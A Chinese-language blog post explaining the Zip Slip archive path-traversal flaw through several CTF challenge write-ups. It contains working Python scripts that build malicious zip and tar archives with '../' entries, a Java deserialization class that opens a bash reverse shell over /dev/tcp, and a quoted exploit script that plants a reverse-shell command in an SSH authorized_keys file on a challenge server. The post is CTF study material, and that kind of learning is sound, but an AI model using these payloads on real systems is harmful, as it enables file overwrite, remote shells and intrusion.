zipslip任意文件上传与覆盖漏洞

zipslip

Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等

主要是解压时存在的漏洞

利用此漏洞的前提:

  • 压缩文件名称存在..这样的恶意目录穿越字符
  • 解压代码不会对文件名进行检测,一般直接与路径进行拼接

image-20231129145317902

漏洞利用

windows下无法直接生成带有../这样字符的文件,所以一般用脚本生成

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e




import zipfile

zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()

题目关于zipslip的部分

DASCTF x CBCTF 2023 Deserialize?Upload!

DASCTF x CBCTF - 飞书云文档 (feishu.cn)

通过spring-boot-actuator依赖漏洞泄露端点,/actuator/env查看到java_home的路径以及用户名admin

访问/actuator/heapdump下载文件,并使用工具分析内存得到登陆密码

登陆上后admin路由存在文件上传

package com.example.nochain.Utils;

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;

public class Unzip {
    public Unzip() {
    }

    public static void unzip(File file, Information information, String path) throws Exception {
        path = path + "/";
        ZipFile zipFile = new ZipFile(file);
        Enumeration e = zipFile.entries();

        while(e.hasMoreElements()) {
            ZipEntry zipEntry = (ZipEntry)e.nextElement();
            String filename = zipEntry.getName();
            information.innerFile.add(filename);
            File f = new File(path + filename);
            f.getParentFile().mkdirs();
            f.createNewFile();
            InputStream is = zipFile.getInputStream(zipEntry);
            FileOutputStream fos = new FileOutputStream(f);
            int length = false;
            byte[] b = new byte[1024];

            int length;
            while((length = is.read(b, 0, 1024)) != -1) {
                fos.write(b, 0, length);
            }

            is.close();
            fos.close();
        }

        if (zipFile != null) {
            zipFile.close();
        }
    }
}

对解压的文件没有检测,存在zipslip任意文件上传

思路就是:构造一个readObject方法中含恶意代码的类后上传至jre/classes目录

。。。。不理解,为什么是java_home的目录,不清楚,没有题目环境

import java.io.*;


public class Evil implements Serializable {

    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {

        in.defaultReadObject();

        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        p.waitFor();
        if(p.exitValue()!=0){
        }
        String s = null;
        while((s=reader.readLine())!=null){
            System.out.println(s);
        }

    }
}
import zipfile

zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()

本地构造base64,通过反序列化入口反弹shell

利用相同的类名随便构造字符串进行反序列化

image-20231128192157833

SCTF2023 SycServer

记得lolita师傅就是通过两场xctf分站赛直接从NAN升入Nu1L,这就是其中一场,太强了

/file-unarchiver 解压zip

/readfile?file= 读文件

/readir 列出/tmp目录

/admin 对127.0.0.1:2221进行ssh访问

利用zipslip去覆盖一下私钥,然后admin路由对私钥有一些处理,在admin路由里其实是会执行ssh -i rsa_key vanzy@xxxxx这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句
command=xxxxxxx
大致步骤就是

  • zipslip去覆盖authorization文件
  • 访问admin让他读取密钥文件,触发command指令
  • 获取反弹shell

tel师傅的exp,随便看看咯

import requests
import os

url = "http://159.138.131.31:8888/"
# url = "http://119.13.91.238:8888/"
# url = "http://t-kali:8888/"

with open("keys","w") as f:
    f.write('command="bash -c \'bash -i >& /dev/tcp/vps/port 0>&1\'" ')
    r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
    f.write(r.text)
    f.close()
os.system("python3 zip.py")

# upload

r = requests.post(url+"file-unarchiver",
                  files={"file": ("key.zip", open("key.zip","rb").read())})

print(r.text)
r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
print(r.text)
r = requests.get(url + "admin")
print(r.text)

羊城杯2023 ezyaml

tar的zipslip文件覆盖

import os
import tarfile

def zipslip(tarinfo):
    tarinfo.uid = tarinfo.gid = 1000
    tarinfo.uname = tarinfo.gname = "poc"
    return tarinfo


tar = tarfile.open("poc.tar","w|")

fullpath = os.path.join("../../","config/1.yaml")
tar.add(fullpath,filter=zipslip)
tar.close()

D3CTF x AntCTF 2023 d3go

应该是这一部分

func Upload(c *gin.Context) {
	f, err := c.FormFile("file")
	if err != nil {
		c.JSON(500, Resp{
			StatusCode: -1,
			StatusMsg:  "upload fail",
		})
		return
	}

	if (f.Header.Get("Content-Type") != "application/zip" && f.Header.Get("Content-Type") != "application/x-zip-compressed") || path.Ext(f.Filename) != ".zip" {
		c.JSON(500, Resp{
			StatusCode: -1,
			StatusMsg:  "not a zip file",
		})
		return
	}

	uu := uuid.New()

	zipPath := path.Join("upload", uu.String()+".zip")
	if err := c.SaveUploadedFile(f, zipPath); err != nil {
		c.JSON(500, Resp{
			StatusCode: -1,
			StatusMsg:  "save zip fail",
		})
		return
	}

	tree, err := upload.Unzip(zipPath, path.Join("unzipped", uu.String()))
	if err != nil {
		c.JSON(500, Resp{
			StatusCode: -1,
			StatusMsg:  "upload fail",
		})
		return
	}

	c.JSON(200, Resp{
		StatusCode: 0,
		StatusMsg:  "upload success",
		Data:       tree.Children,
	})

最后是需要zipslip覆盖掉配置文件config.yaml,在其中的url指向热部署的恶意go文件

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED)  
        info = zipfile.ZipInfo("exp.zip")
        zipFile.write("config.yaml", "../../config.yaml", zipfile.ZIP_DEFLATED)  
        zipFile.write("./shell", "../shell", zipfile.ZIP_DEFLATED) 
        zipFile.close()
    except IOError as e:
        raise e

总结

漏洞利用是很简单的,关键是在文件上传时能不能想到这个漏洞,关键还是在于思路


zipslip任意文件上传与覆盖漏洞
https://zer0peach.github.io/2023/11/28/zipslip任意文件上传与覆盖漏洞/
作者
Zer0peach
发布于
2023年11月28日
许可协议